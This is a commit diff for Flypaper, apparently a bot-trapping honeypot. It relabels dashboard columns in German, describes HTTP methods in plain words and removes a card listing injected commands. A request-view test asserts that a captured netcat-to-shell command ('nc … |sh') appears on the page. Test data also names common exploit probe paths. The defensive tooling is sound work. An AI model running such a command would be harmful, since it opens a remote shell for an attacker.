Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b168d1124d |
No files matched your search
+16
-1
@@ -6,6 +6,20 @@ All notable changes to Flypaper are documented in this file. The format follows
|
|||||||
|
|
||||||
## [Unreleased]
|
## [Unreleased]
|
||||||
|
|
||||||
|
## [0.11.2] - 2026-11-27
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- Dashboard: the column „Ziel“ is now „Aufgerufen“, in the catch list and the list of held bots: `/` reads
|
||||||
|
„Startseite“, `GET` is not shown, other methods are named in plain words (`POST` „schickt Daten“, `HEAD`
|
||||||
|
„prüft nur, ob es das gibt“, `OPTIONS` „fragt, was erlaubt ist“). The top-10 tab „Aufrufe“ counts the same
|
||||||
|
call across all requested hosts, and its filter matches all of them.
|
||||||
|
|
||||||
|
### Removed
|
||||||
|
|
||||||
|
- Dashboard: the card „Eingeschleuste Befehle“ above the world map. Commands are found with the catch filter
|
||||||
|
„Befehl: Nur mit Befehl“ and the ⚠ mark.
|
||||||
|
|
||||||
## [0.11.1] - 2026-11-27
|
## [0.11.1] - 2026-11-27
|
||||||
|
|
||||||
### Changed
|
### Changed
|
||||||
@@ -300,7 +314,8 @@ First release.
|
|||||||
- Unraid Docker template; when started as root, the container hands `/data` to its app user
|
- Unraid Docker template; when started as root, the container hands `/data` to its app user
|
||||||
and drops privileges.
|
and drops privileges.
|
||||||
|
|
||||||
[Unreleased]: https://gitea.anticarnist.de/Tom/Flypaper/compare/v0.11.1...main
|
[Unreleased]: https://gitea.anticarnist.de/Tom/Flypaper/compare/v0.11.2...main
|
||||||
|
[0.11.2]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.11.2
|
||||||
[0.11.1]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.11.1
|
[0.11.1]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.11.1
|
||||||
[0.11.0]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.11.0
|
[0.11.0]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.11.0
|
||||||
[0.10.0]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.10.0
|
[0.10.0]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.10.0
|
||||||
|
|||||||
@@ -42,7 +42,7 @@ public sealed class DashboardQueries(IDbContextFactory<FlypaperDbContext> dbCont
|
|||||||
await events.Where(e => e.StartedAt >= since).Select(e => e.RemoteIp).Distinct().CountAsync(ct),
|
await events.Where(e => e.StartedAt >= since).Select(e => e.RemoteIp).Distinct().CountAsync(ct),
|
||||||
TimeSpan.FromMilliseconds(await catches.SumAsync(e => e.DurationMs, ct)),
|
TimeSpan.FromMilliseconds(await catches.SumAsync(e => e.DurationMs, ct)),
|
||||||
await TopAsync(catches.GroupBy(e => e.RemoteIp), ct),
|
await TopAsync(catches.GroupBy(e => e.RemoteIp), ct),
|
||||||
await TopAsync(catches.Where(e => e.Target != null).GroupBy(e => e.Target!), ct),
|
await TopRequestsAsync(catches, ct),
|
||||||
await catches.Select(e => new StrategySample(e.Strategy, e.DurationMs)).ToListAsync(ct),
|
await catches.Select(e => new StrategySample(e.Strategy, e.DurationMs)).ToListAsync(ct),
|
||||||
countries
|
countries
|
||||||
.Take(TopCount)
|
.Take(TopCount)
|
||||||
@@ -127,9 +127,19 @@ public sealed class DashboardQueries(IDbContextFactory<FlypaperDbContext> dbCont
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (filter.Target is { } target)
|
if (filter.Target is { } target)
|
||||||
|
{
|
||||||
|
var space = target.IndexOf(' ');
|
||||||
|
if (space >= 0 && target.AsSpan(space + 1).StartsWith("/"))
|
||||||
|
{
|
||||||
|
var method = target[..(space + 1)];
|
||||||
|
var path = target[(space + 1)..];
|
||||||
|
events = events.Where(e => e.Target!.StartsWith(method) && e.Target.Substring(e.Target.IndexOf("/")) == path);
|
||||||
|
}
|
||||||
|
else
|
||||||
{
|
{
|
||||||
events = events.Where(e => e.Target == target);
|
events = events.Where(e => e.Target == target);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if (filter.Strategy is { } strategy)
|
if (filter.Strategy is { } strategy)
|
||||||
{
|
{
|
||||||
@@ -164,6 +174,23 @@ public sealed class DashboardQueries(IDbContextFactory<FlypaperDbContext> dbCont
|
|||||||
return events;
|
return events;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private static async Task<IReadOnlyList<TopEntry>> TopRequestsAsync(IQueryable<TrapEventEntity> catches, CancellationToken ct)
|
||||||
|
{
|
||||||
|
var rows = await catches
|
||||||
|
.Where(e => e.Target != null)
|
||||||
|
.GroupBy(e => e.Target!)
|
||||||
|
.Select(g => new { g.Key, Count = g.Count(), DurationMs = g.Sum(e => e.DurationMs) })
|
||||||
|
.ToListAsync(ct);
|
||||||
|
|
||||||
|
return rows
|
||||||
|
.GroupBy(r => RequestKey.Of(r.Key), StringComparer.Ordinal)
|
||||||
|
.Select(g => new TopEntry(g.Key, g.Sum(r => r.Count), TimeSpan.FromMilliseconds(g.Sum(r => r.DurationMs))))
|
||||||
|
.OrderByDescending(x => x.Count)
|
||||||
|
.ThenByDescending(x => x.HoldTime)
|
||||||
|
.Take(TopCount)
|
||||||
|
.ToList();
|
||||||
|
}
|
||||||
|
|
||||||
private static async Task<IReadOnlyList<TopEntry>> TopAsync(
|
private static async Task<IReadOnlyList<TopEntry>> TopAsync(
|
||||||
IQueryable<IGrouping<string, TrapEventEntity>> groups,
|
IQueryable<IGrouping<string, TrapEventEntity>> groups,
|
||||||
CancellationToken ct)
|
CancellationToken ct)
|
||||||
|
|||||||
@@ -0,0 +1,13 @@
|
|||||||
|
namespace Flypaper.Storage.Dashboard;
|
||||||
|
|
||||||
|
public static class RequestKey
|
||||||
|
{
|
||||||
|
public static (string Method, string Path)? Split(string? target)
|
||||||
|
{
|
||||||
|
var space = target?.IndexOf(' ') ?? -1;
|
||||||
|
var slash = space < 0 ? -1 : target!.IndexOf('/', space);
|
||||||
|
return slash < 0 ? null : (target![..space], target[slash..]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static string Of(string target) => Split(target) is var (method, path) ? $"{method} {path}" : target;
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
@{
|
||||||
|
var (text, note, method) = Formatting.Called(Target);
|
||||||
|
}
|
||||||
|
@text@if (note is not null)
|
||||||
|
{
|
||||||
|
<span class="method-note" title="@method"> · @note</span>
|
||||||
|
}
|
||||||
|
|
||||||
|
@code {
|
||||||
|
[Parameter, EditorRequired] public string? Target { get; set; }
|
||||||
|
}
|
||||||
@@ -4,11 +4,9 @@
|
|||||||
@using Flypaper.Http
|
@using Flypaper.Http
|
||||||
@using Microsoft.Extensions.Options
|
@using Microsoft.Extensions.Options
|
||||||
@using Flypaper.Storage.Dashboard
|
@using Flypaper.Storage.Dashboard
|
||||||
@using Flypaper.Storage.Queries
|
|
||||||
@using Flypaper.Storage.Entities
|
@using Flypaper.Storage.Entities
|
||||||
@using Flypaper.Storage.Explanations
|
@using Flypaper.Storage.Explanations
|
||||||
@inject DashboardQueries Queries
|
@inject DashboardQueries Queries
|
||||||
@inject CommandQueries CommandQueries
|
|
||||||
@inject ExplanationRuleStore Explanations
|
@inject ExplanationRuleStore Explanations
|
||||||
@inject IConnectionGovernor Governor
|
@inject IConnectionGovernor Governor
|
||||||
@inject IActiveTraps ActiveTraps
|
@inject IActiveTraps ActiveTraps
|
||||||
@@ -70,7 +68,7 @@
|
|||||||
<tr>
|
<tr>
|
||||||
<th class="c-ip">IP</th>
|
<th class="c-ip">IP</th>
|
||||||
<th class="c-origin">Herkunft</th>
|
<th class="c-origin">Herkunft</th>
|
||||||
<th class="c-target">Ziel</th>
|
<th class="c-target">Aufgerufen</th>
|
||||||
<th class="c-strategy">Strategie</th>
|
<th class="c-strategy">Strategie</th>
|
||||||
<th class="c-agent">User-Agent</th>
|
<th class="c-agent">User-Agent</th>
|
||||||
<th class="c-duration num">Seit</th>
|
<th class="c-duration num">Seit</th>
|
||||||
@@ -81,7 +79,6 @@
|
|||||||
@foreach (var trap in _active)
|
@foreach (var trap in _active)
|
||||||
{
|
{
|
||||||
var origin = Enricher.Lookup(trap.Ip);
|
var origin = Enricher.Lookup(trap.Ip);
|
||||||
var target = Formatting.Target(trap.Target);
|
|
||||||
var strategy = StrategyNames.Describe(trap.Strategy);
|
var strategy = StrategyNames.Describe(trap.Strategy);
|
||||||
var ip = trap.Ip.ToString();
|
var ip = trap.Ip.ToString();
|
||||||
<tr>
|
<tr>
|
||||||
@@ -96,7 +93,7 @@
|
|||||||
<span class="muted">–</span>
|
<span class="muted">–</span>
|
||||||
}
|
}
|
||||||
</td>
|
</td>
|
||||||
<td class="c-target mono" title="@target">@target</td>
|
<td class="c-target mono" title="@Formatting.CalledText(trap.Target)"><CalledCell Target="@trap.Target" /></td>
|
||||||
<td class="c-strategy" title="@strategy.Tooltip">@strategy.DisplayName</td>
|
<td class="c-strategy" title="@strategy.Tooltip">@strategy.DisplayName</td>
|
||||||
<td class="c-agent" title="@trap.ClientInfo">@trap.ClientInfo</td>
|
<td class="c-agent" title="@trap.ClientInfo">@trap.ClientInfo</td>
|
||||||
<td class="c-duration num">@Formatting.Duration(_loadedAtUtc - trap.StartedAt)</td>
|
<td class="c-duration num">@Formatting.Duration(_loadedAtUtc - trap.StartedAt)</td>
|
||||||
@@ -109,44 +106,6 @@
|
|||||||
</section>
|
</section>
|
||||||
}
|
}
|
||||||
|
|
||||||
@if (_commands.Count > 0)
|
|
||||||
{
|
|
||||||
<section class="card recent-card command-card">
|
|
||||||
<div class="card-head">
|
|
||||||
<h2>⚠ Eingeschleuste Befehle</h2>
|
|
||||||
<a class="hint" href="@(new DashboardFilter { Befehl = "ja" }.Href())">Alle Fänge mit Befehl</a>
|
|
||||||
</div>
|
|
||||||
<div class="scroll">
|
|
||||||
<table class="s-table command-table">
|
|
||||||
<thead>
|
|
||||||
<tr>
|
|
||||||
<th>Zuletzt</th>
|
|
||||||
<th>Fremder Server</th>
|
|
||||||
<th>Befehl</th>
|
|
||||||
<th>Letzte Angreifer-IP</th>
|
|
||||||
<th class="num">Fänge</th>
|
|
||||||
<th class="num">IPs</th>
|
|
||||||
</tr>
|
|
||||||
</thead>
|
|
||||||
<tbody>
|
|
||||||
@foreach (var command in _commands)
|
|
||||||
{
|
|
||||||
var last = command.LastSeen.ToLocalTime();
|
|
||||||
<tr>
|
|
||||||
<td title="Zuerst gesehen: @command.FirstSeen.ToLocalTime().ToString("dd.MM.yyyy HH:mm")">@last.ToString("dd.MM. HH:mm")</td>
|
|
||||||
<td class="mono">@(command.Server is { } server ? Formatting.Server(server) : "–")</td>
|
|
||||||
<td class="mono command-text">@Formatting.CommandParts(command.Command).Command</td>
|
|
||||||
<td class="mono"><a href="@(new DashboardFilter { Ip = command.LastIp, Befehl = "ja" }.Href())">@command.LastIp</a></td>
|
|
||||||
<td class="num">@Formatting.Number(command.Catches)</td>
|
|
||||||
<td class="num">@Formatting.Number(command.Ips)</td>
|
|
||||||
</tr>
|
|
||||||
}
|
|
||||||
</tbody>
|
|
||||||
</table>
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
}
|
|
||||||
|
|
||||||
@if (data.TotalCatches == 0)
|
@if (data.TotalCatches == 0)
|
||||||
{
|
{
|
||||||
<section class="card onboarding">
|
<section class="card onboarding">
|
||||||
@@ -241,7 +200,7 @@
|
|||||||
</label>
|
</label>
|
||||||
<label class="filter-search">
|
<label class="filter-search">
|
||||||
<span>Suche</span>
|
<span>Suche</span>
|
||||||
<input type="search" name="q" value="@_filter.Q" placeholder="IP, Provider, Ziel, Strategie, User-Agent" />
|
<input type="search" name="q" value="@_filter.Q" placeholder="IP, Provider, Adresse, Strategie, User-Agent" />
|
||||||
</label>
|
</label>
|
||||||
@foreach (var (name, value) in new[] { ("provider", _filter.Provider), ("ip", _filter.Ip), ("ziel", _filter.Ziel), ("strategie", _filter.Strategie) })
|
@foreach (var (name, value) in new[] { ("provider", _filter.Provider), ("ip", _filter.Ip), ("ziel", _filter.Ziel), ("strategie", _filter.Strategie) })
|
||||||
{
|
{
|
||||||
@@ -276,7 +235,7 @@
|
|||||||
<th class="c-ip">IP</th>
|
<th class="c-ip">IP</th>
|
||||||
<th class="c-origin">Herkunft</th>
|
<th class="c-origin">Herkunft</th>
|
||||||
<th class="c-provider">Provider</th>
|
<th class="c-provider">Provider</th>
|
||||||
<th class="c-target">Ziel</th>
|
<th class="c-target">Aufgerufen</th>
|
||||||
<th class="c-strategy">Strategie</th>
|
<th class="c-strategy">Strategie</th>
|
||||||
<th class="c-agent">User-Agent</th>
|
<th class="c-agent">User-Agent</th>
|
||||||
<th class="c-duration num">Dauer</th>
|
<th class="c-duration num">Dauer</th>
|
||||||
@@ -308,12 +267,12 @@
|
|||||||
}
|
}
|
||||||
</td>
|
</td>
|
||||||
<td class="c-provider" title="@provider">@provider</td>
|
<td class="c-provider" title="@provider">@provider</td>
|
||||||
<td class="c-target mono" title="@target">
|
<td class="c-target mono" title="@Formatting.CalledText(trapEvent.Target)">
|
||||||
@if (trapEvent.Command is not null)
|
@if (trapEvent.Command is not null)
|
||||||
{
|
{
|
||||||
<span class="command-mark" title="Angriff mit Befehl" role="img" aria-label="Angriff mit Befehl">⚠</span>
|
<span class="command-mark" title="Angriff mit Befehl" role="img" aria-label="Angriff mit Befehl">⚠</span>
|
||||||
}
|
}
|
||||||
@Formatting.RequestPath(trapEvent.Target)
|
<CalledCell Target="@trapEvent.Target" />
|
||||||
</td>
|
</td>
|
||||||
<td class="c-strategy" title="@strategy.Tooltip">@strategy.DisplayName@foreach (var badge in strategy.Badges){<span class="badge">@badge</span>}</td>
|
<td class="c-strategy" title="@strategy.Tooltip">@strategy.DisplayName@foreach (var badge in strategy.Badges){<span class="badge">@badge</span>}</td>
|
||||||
<td class="c-agent" title="@trapEvent.ClientInfo">@trapEvent.ClientInfo</td>
|
<td class="c-agent" title="@trapEvent.ClientInfo">@trapEvent.ClientInfo</td>
|
||||||
@@ -423,7 +382,6 @@
|
|||||||
private DashboardFilter _filter = new();
|
private DashboardFilter _filter = new();
|
||||||
private RuleSet _rules = RuleSet.Empty;
|
private RuleSet _rules = RuleSet.Empty;
|
||||||
private DateTime _loadedAt;
|
private DateTime _loadedAt;
|
||||||
private IReadOnlyList<CommandGroup> _commands = [];
|
|
||||||
private DateTimeOffset _loadedAtUtc;
|
private DateTimeOffset _loadedAtUtc;
|
||||||
private IReadOnlyList<ActiveTrap> _active = [];
|
private IReadOnlyList<ActiveTrap> _active = [];
|
||||||
|
|
||||||
@@ -452,7 +410,6 @@
|
|||||||
protected override async Task OnInitializedAsync()
|
protected override async Task OnInitializedAsync()
|
||||||
{
|
{
|
||||||
_filter = DashboardFilter.Parse(Zeit, Ausgang, Land, Provider, Ip, Ziel, Strategie, Q, Limit, Erklaerung, Befehl);
|
_filter = DashboardFilter.Parse(Zeit, Ausgang, Land, Provider, Ip, Ziel, Strategie, Q, Limit, Erklaerung, Befehl);
|
||||||
_commands = await CommandQueries.GetGroupsAsync(null, 10);
|
|
||||||
_rules = await Explanations.GetRuleSetAsync();
|
_rules = await Explanations.GetRuleSetAsync();
|
||||||
_data = await Queries.GetAsync();
|
_data = await Queries.GetAsync();
|
||||||
_recent = await Queries.GetRecentAsync(_filter.ToRecentFilter() with { SearchStrategies = StrategyNames.Matching(_filter.Q) });
|
_recent = await Queries.GetRecentAsync(_filter.ToRecentFilter() with { SearchStrategies = StrategyNames.Matching(_filter.Q) });
|
||||||
@@ -466,7 +423,7 @@
|
|||||||
new("countries", "Länder", "Land", data.TopCountries, f => f.Land, (f, key) => f with { Land = key }, ShowFlags: true, LabelFormatter: CountryNames.Display),
|
new("countries", "Länder", "Land", data.TopCountries, f => f.Land, (f, key) => f with { Land = key }, ShowFlags: true, LabelFormatter: CountryNames.Display),
|
||||||
new("providers", "Provider", "Provider", data.TopProviders, f => f.Provider, (f, key) => f with { Provider = key }),
|
new("providers", "Provider", "Provider", data.TopProviders, f => f.Provider, (f, key) => f with { Provider = key }),
|
||||||
new("ips", "IPs", "IP", data.TopIps, f => f.Ip, (f, key) => f with { Ip = key }),
|
new("ips", "IPs", "IP", data.TopIps, f => f.Ip, (f, key) => f with { Ip = key }),
|
||||||
new("targets", "Ziele", "Ziel", data.TopTargets, f => f.Ziel, (f, key) => f with { Ziel = key }, KeyFormatter: Formatting.Target),
|
new("targets", "Aufrufe", "Aufgerufen", data.TopTargets, f => f.Ziel, (f, key) => f with { Ziel = key }, KeyFormatter: Formatting.CalledText, TitleFormatter: key => key),
|
||||||
new("strategies", "Strategien", "Strategie", StrategyNames.Rank(data.StrategyCatches, 10), f => f.Strategie, (f, key) => f with { Strategie = key }, KeyFormatter: _ => "", LabelFormatter: (key, _) => StrategyNames.Display(key), TitleFormatter: key => StrategyNames.Describe(key).Tooltip, BadgesFormatter: key => StrategyNames.Describe(key).Badges)
|
new("strategies", "Strategien", "Strategie", StrategyNames.Rank(data.StrategyCatches, 10), f => f.Strategie, (f, key) => f with { Strategie = key }, KeyFormatter: _ => "", LabelFormatter: (key, _) => StrategyNames.Display(key), TitleFormatter: key => StrategyNames.Describe(key).Tooltip, BadgesFormatter: key => StrategyNames.Describe(key).Badges)
|
||||||
];
|
];
|
||||||
|
|
||||||
@@ -511,7 +468,7 @@
|
|||||||
|
|
||||||
if (_filter.Ziel is { } ziel)
|
if (_filter.Ziel is { } ziel)
|
||||||
{
|
{
|
||||||
yield return ($"Ziel: {Formatting.Target(ziel)}", reset with { Ziel = null });
|
yield return ($"Aufgerufen: {Formatting.CalledText(ziel)}", reset with { Ziel = null });
|
||||||
}
|
}
|
||||||
|
|
||||||
if (_filter.Strategie is { } strategie)
|
if (_filter.Strategie is { } strategie)
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
using System.Globalization;
|
using System.Globalization;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
|
using Flypaper.Storage.Dashboard;
|
||||||
|
|
||||||
namespace Flypaper.Web.Components.Shared;
|
namespace Flypaper.Web.Components.Shared;
|
||||||
|
|
||||||
@@ -50,11 +51,28 @@ public static partial class Formatting
|
|||||||
: target;
|
: target;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static string? RequestPath(string? target)
|
public static (string Text, string? Note, string? Method) Called(string? target)
|
||||||
{
|
{
|
||||||
var space = target?.IndexOf(' ') ?? -1;
|
if (RequestKey.Split(target) is not var (method, path))
|
||||||
var slash = space < 0 ? -1 : target!.IndexOf('/', space);
|
{
|
||||||
return slash < 0 ? target : $"{target![..space]} {target[slash..]}";
|
return (target ?? "–", null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
var note = method.ToUpperInvariant() switch
|
||||||
|
{
|
||||||
|
"GET" => null,
|
||||||
|
"POST" => "schickt Daten",
|
||||||
|
"HEAD" => "prüft nur, ob es das gibt",
|
||||||
|
"OPTIONS" => "fragt, was erlaubt ist",
|
||||||
|
_ => method
|
||||||
|
};
|
||||||
|
return (path == "/" ? "Startseite" : path, note, method);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static string CalledText(string? target)
|
||||||
|
{
|
||||||
|
var (text, note, _) = Called(target);
|
||||||
|
return note is null ? text : $"{text} · {note}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public static string Server(string server)
|
public static string Server(string server)
|
||||||
|
|||||||
@@ -1622,19 +1622,20 @@ button.danger-text {
|
|||||||
gap: 6px;
|
gap: 6px;
|
||||||
}
|
}
|
||||||
|
|
||||||
.command-card .card-head a {
|
#panel-targets .clip,
|
||||||
text-decoration: none;
|
#panel-targets .clip .mono {
|
||||||
}
|
overflow: visible;
|
||||||
|
white-space: normal;
|
||||||
.command-table td {
|
|
||||||
vertical-align: top;
|
|
||||||
}
|
|
||||||
|
|
||||||
.command-text {
|
|
||||||
white-space: pre-wrap;
|
|
||||||
overflow-wrap: anywhere;
|
overflow-wrap: anywhere;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.method-note {
|
||||||
|
color: var(--muted);
|
||||||
|
font-family: system-ui, -apple-system, "Segoe UI", Roboto, sans-serif;
|
||||||
|
font-size: 12px;
|
||||||
|
font-style: italic;
|
||||||
|
}
|
||||||
|
|
||||||
.command-mark {
|
.command-mark {
|
||||||
margin-right: 6px;
|
margin-right: 6px;
|
||||||
color: var(--accent);
|
color: var(--accent);
|
||||||
|
|||||||
@@ -49,6 +49,28 @@ public sealed class RecentCatchesTests : IDisposable
|
|||||||
recent.Total.ShouldBe(expected);
|
recent.Total.ShouldBe(expected);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
[Fact]
|
||||||
|
public async Task A_call_is_counted_and_filtered_across_all_requested_hosts()
|
||||||
|
{
|
||||||
|
using (var db = _data.Factory.CreateDbContext())
|
||||||
|
{
|
||||||
|
foreach (var target in new[] { "OPTIONS a.example/", "OPTIONS 192.0.2.1:8080/", "OPTIONS b.example/sub/", "OPTIONS b.example/?x=/" })
|
||||||
|
{
|
||||||
|
var started = McpTestData.Now.AddMinutes(-5);
|
||||||
|
db.TrapEvents.Add(TrapEventEntity.From(new TrapEvent(
|
||||||
|
Guid.NewGuid(), TrapProtocol.Http, IPAddress.Parse("203.0.113.77"), "maze-drip", started, started.AddSeconds(1), 1, TrapOutcome.ClientAborted, target, null)));
|
||||||
|
}
|
||||||
|
|
||||||
|
db.SaveChanges();
|
||||||
|
}
|
||||||
|
|
||||||
|
var top = (await _queries.GetAsync()).TopTargets;
|
||||||
|
|
||||||
|
top.Single(e => e.Key == "OPTIONS /").Count.ShouldBe(2);
|
||||||
|
(await _queries.GetRecentAsync(new RecentFilter(Target: "OPTIONS /"))).Total.ShouldBe(2);
|
||||||
|
(await _queries.GetRecentAsync(new RecentFilter(Target: "OPTIONS a.example/"))).Total.ShouldBe(1);
|
||||||
|
}
|
||||||
|
|
||||||
[Fact]
|
[Fact]
|
||||||
public async Task Unexplained_filter_keeps_only_targets_without_an_enabled_target_rule()
|
public async Task Unexplained_filter_keeps_only_targets_without_an_enabled_target_rule()
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -16,11 +16,20 @@ public sealed class FormattingTests
|
|||||||
Formatting.Target(target).ShouldBe(expected);
|
Formatting.Target(target).ShouldBe(expected);
|
||||||
|
|
||||||
[Theory]
|
[Theory]
|
||||||
[InlineData("POST 192.0.2.1/boaform/admin/formSysCmd", "POST /boaform/admin/formSysCmd")]
|
[InlineData("GET 192.0.2.1/", "Startseite", null)]
|
||||||
[InlineData("GET example.com:8080/?a=/b", "GET /?a=/b")]
|
[InlineData("GET example.com:8080/.env", "/.env", null)]
|
||||||
[InlineData("GET /x", "GET /x")]
|
[InlineData("GET /?a=/b", "/?a=/b", null)]
|
||||||
public void Shows_the_request_path_without_the_host(string target, string expected) =>
|
[InlineData("OPTIONS h/", "Startseite", "fragt, was erlaubt ist")]
|
||||||
Formatting.RequestPath(target).ShouldBe(expected);
|
[InlineData("HEAD h/www.zip", "/www.zip", "prüft nur, ob es das gibt")]
|
||||||
|
[InlineData("POST h/wp-login.php", "/wp-login.php", "schickt Daten")]
|
||||||
|
[InlineData("PROPFIND h/", "Startseite", "PROPFIND")]
|
||||||
|
public void Describes_what_was_called_without_the_host(string target, string text, string? note)
|
||||||
|
{
|
||||||
|
var called = Formatting.Called(target);
|
||||||
|
|
||||||
|
called.Text.ShouldBe(text);
|
||||||
|
called.Note.ShouldBe(note);
|
||||||
|
}
|
||||||
|
|
||||||
[Theory]
|
[Theory]
|
||||||
[InlineData("192.0.2.7:4545", "192.0.2.7, Port 4545")]
|
[InlineData("192.0.2.7:4545", "192.0.2.7, Port 4545")]
|
||||||
|
|||||||
@@ -45,7 +45,8 @@ public sealed partial class RequestViewTests : IDisposable
|
|||||||
json.RootElement.GetProperty("headers").GetString().ShouldNotBeNull().ShouldContain("Host: x");
|
json.RootElement.GetProperty("headers").GetString().ShouldNotBeNull().ShouldContain("Host: x");
|
||||||
|
|
||||||
var page = await client.GetStringAsync("/");
|
var page = await client.GetStringAsync("/");
|
||||||
page.ShouldContain("Eingeschleuste Befehle");
|
page.ShouldNotContain("trapEvent.Target");
|
||||||
|
page.ShouldContain("schickt Daten");
|
||||||
page.ShouldContain("192.0.2.7, Port 4545");
|
page.ShouldContain("192.0.2.7, Port 4545");
|
||||||
page.ShouldContain("Fremder Server");
|
page.ShouldContain("Fremder Server");
|
||||||
page.ShouldContain("nc 192.0.2.7 4545|sh");
|
page.ShouldContain("nc 192.0.2.7 4545|sh");
|
||||||
|
|||||||
Reference in new issue
Block a user